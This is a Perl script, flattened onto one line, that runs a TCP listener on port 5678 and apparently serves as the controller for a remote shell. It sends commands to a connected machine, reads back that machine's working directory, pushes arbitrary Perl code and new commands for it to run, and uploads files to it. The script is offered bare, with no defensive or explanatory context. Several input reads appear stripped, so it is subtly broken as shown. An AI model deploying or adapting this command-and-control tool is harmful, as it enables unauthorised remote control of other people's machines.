#!/usr/bin/perl use strict; use warnings; use IO::Socket; use Net::hostent; my %commands=( qr/^perl:(.+)$/si => sub{ my ($socket,$eoc)=@_; my $code=''; while( my $line = ) { last if( $line=~/^\s*$eoc\s*$/s ); $code.=$line; } print $socket "perl:".length($code)."\n$code"; return 1; }, qr/^addcmd:(.+):(.+?)$/si => sub{ my ($socket,$name,$eoc)=@_; print "$name => $eoc\n"; my $code=''; while( my $line = ) { last if( $line=~/^\s*$eoc\s*$/s ); $code.=$line; } print $socket "addcmd:".length($code).":$name\n$code"; return 1; }, qr/^wfile:(.+?):(.+)$/si => sub{ my ($socket,$from,$to)=@_; if( open(my $fh, '<:raw', $from) ) { my $buff=<$fh>; print $socket "wfile:".length($buff).":$to\n"; print $socket $buff; return 1; } warn "ERR: open $from ($!)\n"; return 0; }, ); my $server = IO::Socket::INET->new( Proto => 'tcp', LocalPort => 5678, Listen => SOMAXCONN, Reuse => 1, ); die("Can't start Server\n") unless($server); print "SERVER LISSENING\n"; if (my $client = $server->accept()) { $client->autoflush(1); my $hostinfo = gethostbyaddr($client->peeraddr); print "[Connect from ".( $hostinfo->name() || $client->peerhost() )."]\n"; while(1) { print $client "cwd:\n"; my $dir=read_blk($client); chomp($dir); print "$dir > "; my $cmd=; last if($cmd=~/^exit/); my $done=-1; for my $tst (keys(%commands)) { if($cmd=~/$tst/) { $done=$commands{$tst}->($client,$1,$2,$3,$4,$5); last; } } print $client $cmd if( $done < 0 ); print read_blk($client)."\n" if( $done != 0 ); } } sub read_blk { my ($client)=@_; my $size=<$client>; chomp($size); die("ERROR READ DATA: NO SIZE") unless($size=~/^\d+$/); my $buff=''; $client->read($buff,$size); return $buff; }